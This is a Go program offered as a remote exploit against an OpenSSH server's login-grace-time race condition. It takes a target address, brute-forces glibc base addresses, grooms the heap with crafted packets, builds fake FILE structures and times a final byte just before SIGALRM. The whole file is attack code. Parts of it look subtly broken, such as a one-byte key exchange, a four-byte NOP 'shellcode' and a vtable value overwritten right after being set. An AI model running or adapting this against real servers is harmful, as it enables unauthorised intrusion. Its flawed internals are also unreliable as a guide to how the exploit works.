package main

import (
	"bytes"
	"encoding/binary"
	"fmt"
	"log"

	"math/rand"
	"net"
	"os"
	"strconv"
	"strings"

	"time"
)

const (
	maxPacketSize   = 256 * 1024
	loginGraceTime  = 120
	maxStartups     = 100
	//chunkAlign      = 16
	glibcBaseOffset = 0x21b740
	codecvtOffset   = 0x21d7f8
)

var (
	glibcBases = []uint64{0xb7200000, 0xb7400000}
	numGlibcBases = len(glibcBases)
)

func main() {
	if len(os.Args) != 3 {
		fmt.Println("Usage:", os.Args[0], "<ip> <port>")
		return
	}

	ip := os.Args[1]
	port, err := strconv.Atoi(os.Args[2])
	if err != nil {
		fmt.Println("Invalid port number:", os.Args[2])
		return
	}

	rand.Seed(time.Now().UnixNano())

	success := false
	for _, glibcBase := range glibcBases {
		fmt.Println("Attempting exploitation with glibc base:", glibcBase)
		for attempt := 0; attempt < 20000 && !success; attempt++ {
			if attempt%1000 == 0 {
				fmt.Println("Attempt", attempt, "of 20000")
			}

			conn, err := net.Dial("tcp", fmt.Sprintf("%s:%d", ip, port))
			if err != nil {
				fmt.Println("Failed to establish connection:", err)
				continue
			}

			if performHandshake(conn) != nil {
				fmt.Println("SSH handshake failed:", err)
				conn.Close()
				continue
			}

			prepareHeap(conn)
			parsingTime := timeFinalPacket(conn)

			if attemptRaceCondition(conn, parsingTime, glibcBase) {
				fmt.Println("Possible exploitation success on attempt", attempt, "with glibc base", glibcBase)
				success = true
				break
			}

			conn.Close()
			time.Sleep(100 * time.Millisecond)
		}
	}

	if !success {
		fmt.Println("Exploit failed")
	}
}

func performHandshake(conn net.Conn) error {
	_, err := conn.Write([]byte("SSH-2.0-OpenSSH_9.2p1\r\n"))
	if err != nil {
		return err
	}

	buf := make([]byte, 1024)
	n, err := conn.Read(buf)
	if err != nil {
		return err
	}

	fmt.Println("Received SSH version:", string(buf[:n]))

	_, err = conn.Write([]byte{0x10})
	if err != nil {
		return err
	}

	n, err = conn.Read(buf)
	if err != nil {
		return err
	}

	fmt.Println("Received KEX_INIT:", string(buf[:n]))

	return nil
}

func prepareHeap(conn net.Conn) {
	// Packet a: Allocate and free tcache chunks
	for i := 0; i < 10; i++ {
		tcacheChunk := make([]byte, 64)
		copy(tcacheChunk, "A")
		sendPacket(conn, 5, tcacheChunk)
	}

	// Packet b: Create 27 pairs of large (~8KB) and small (320B) holes
	for i := 0; i < 27; i++ {
		// Allocate large chunk (~8KB)
		largeHole := make([]byte, 8192)
		copy(largeHole, "B")
		sendPacket(conn, 5, largeHole)

		// Allocate small chunk (320B)
		smallHole := make([]byte, 320)
		copy(smallHole, "C")
		sendPacket(conn, 5, smallHole)
	}

	// Packet c: Write fake headers, footers, vtable and _codecvt pointers
	for i := 0; i < 27; i++ {
		fakeData := make([]byte, 4096)
		createFakeFileStructure(fakeData, glibcBases[0])
		sendPacket(conn, 5, fakeData)
	}

	// Packet d: Ensure holes are in correct malloc bins (send ~256KB string)
	largeString := make([]byte, maxPacketSize-1)
	copy(largeString, "E")
	sendPacket(conn, 5, largeString)
}

func createFakeFileStructure(data []byte, glibcBase uint64) {
	reader := bytes.NewReader(data)
	writer := new(bytes.Buffer)

	// Read and write fake headers, footers, vtable and _codecvt pointers
	for {
		header := make([]byte, 16)
		footer := make([]byte, 16)
		vtable := make([]byte, 8)
		codecvt := make([]byte, 8)

		_, err := reader.Read(header)
		if err != nil {
			break
		}

		_, err = reader.Read(footer)
		if err != nil {
			break
		}

		_, err = reader.Read(vtable)
		if err != nil {
			break
		}

		_, err = reader.Read(codecvt)
		if err != nil {
			break
		}

		// Set _vtable_offset to 0x61 as described in the advisory
		binary.BigEndian.PutUint64(vtable, 0x61)

		// Set up fake vtable and _codecvt pointers
		binary.BigEndian.PutUint64(codecvt, glibcBase+glibcBaseOffset)
		binary.BigEndian.PutUint64(vtable, glibcBase+codecvtOffset)

		writer.Write(header)
		writer.Write(footer)
		writer.Write(vtable)
		writer.Write(codecvt)
	}

	copy(data, writer.Bytes())
}

func timeFinalPacket(conn net.Conn) float64 {
	timeBefore := measureResponseTime(conn, 1)
	timeAfter := measureResponseTime(conn, 2)
	parsingTime := timeAfter - timeBefore

	fmt.Println("Estimated parsing time:", parsingTime)

	return parsingTime
}

func measureResponseTime(conn net.Conn, errorType int) float64 {
	errorPacket := make([]byte, 1024)
	var packetSize int

	if errorType == 1 {
		// Error before sshkey_from_blob
		packetSize = copy(errorPacket, "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3")
	} else {
		// Error after sshkey_from_blob
		packetSize = copy(errorPacket, "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAQQDZy9")
	}

	start := time.Now()

	sendPacket(conn, 50, errorPacket[:packetSize])

	response := make([]byte, 1024)
	_, err := conn.Read(response)
	if err != nil {
		log.Println(err)
	}

	end := time.Now()

	elapsed := end.Sub(start).Seconds()

	return elapsed
}

func createPublicKeyPacket(packet []byte, size int, glibcBase uint64) {
	reader := bytes.NewReader(packet)
	writer := new(bytes.Buffer)

	// Read and write necessary headers for the SSH public key format
	for {
		header := make([]byte, 8)
		_, err := reader.Read(header)
		if err != nil {
			break
		}

		writer.Write(header)
	}

	// Place shellcode in the heap via previous allocations
	shellcode := make([]byte, 4)
	copy(shellcode, "\x90\x90\x90\x90")
	writer.Write(shellcode)

	// Set up the fake FILE structures within the packet
	for i := 0; i < 27; i++ {
		createFakeFileStructure(packet[chunkAlign(4096)*(i+1)+chunkAlign(304)*i:], glibcBase)
	}
}

func attemptRaceCondition(conn net.Conn, parsingTime float64, glibcBase uint64) bool {
	finalPacket := make([]byte, maxPacketSize)
	createPublicKeyPacket(finalPacket, maxPacketSize, glibcBase)

	// Send all but the last byte
	_, err := conn.Write(finalPacket[:maxPacketSize-1])
	if err != nil {
		log.Println(err)
	}

	// Precise timing for last byte
	start := time.Now()

	for {
		now := time.Now()
		elapsed := now.Sub(start).Seconds()
		if elapsed >= loginGraceTime-parsingTime-0.001 {
			// 1ms before SIGALRM
			_, err := conn.Write(finalPacket[maxPacketSize-1:])
			if err != nil {
				log.Println(err)
			}
			break
		}
	}

	// Check for successful exploitation
	response := make([]byte, 1024)
	n, err := conn.Read(response)
	if err != nil {
		log.Println(err)
	}

	if n > 0 {
		fmt.Println("Received response after exploit attempt:", string(response[:n]))
		// Analyze response to determine if we hit the "large" race window
		if !strings.HasPrefix(string(response[:n]), "SSH-2.0-") {
			fmt.Println("Possible hit on 'large' race window")
			return true
		}
	}

	return false
}

func sendPacket(conn net.Conn, packetType byte, data []byte) {
	packet := make([]byte, len(data)+5)
	binary.BigEndian.PutUint32(packet, uint32(len(data)+5))
	packet[4] = packetType
	copy(packet[5:], data)

	_, err := conn.Write(packet)
	if err != nil {
		log.Println(err)
	}
}

func chunkAlign(size int) int {
	return (size + 15) &^ 15
}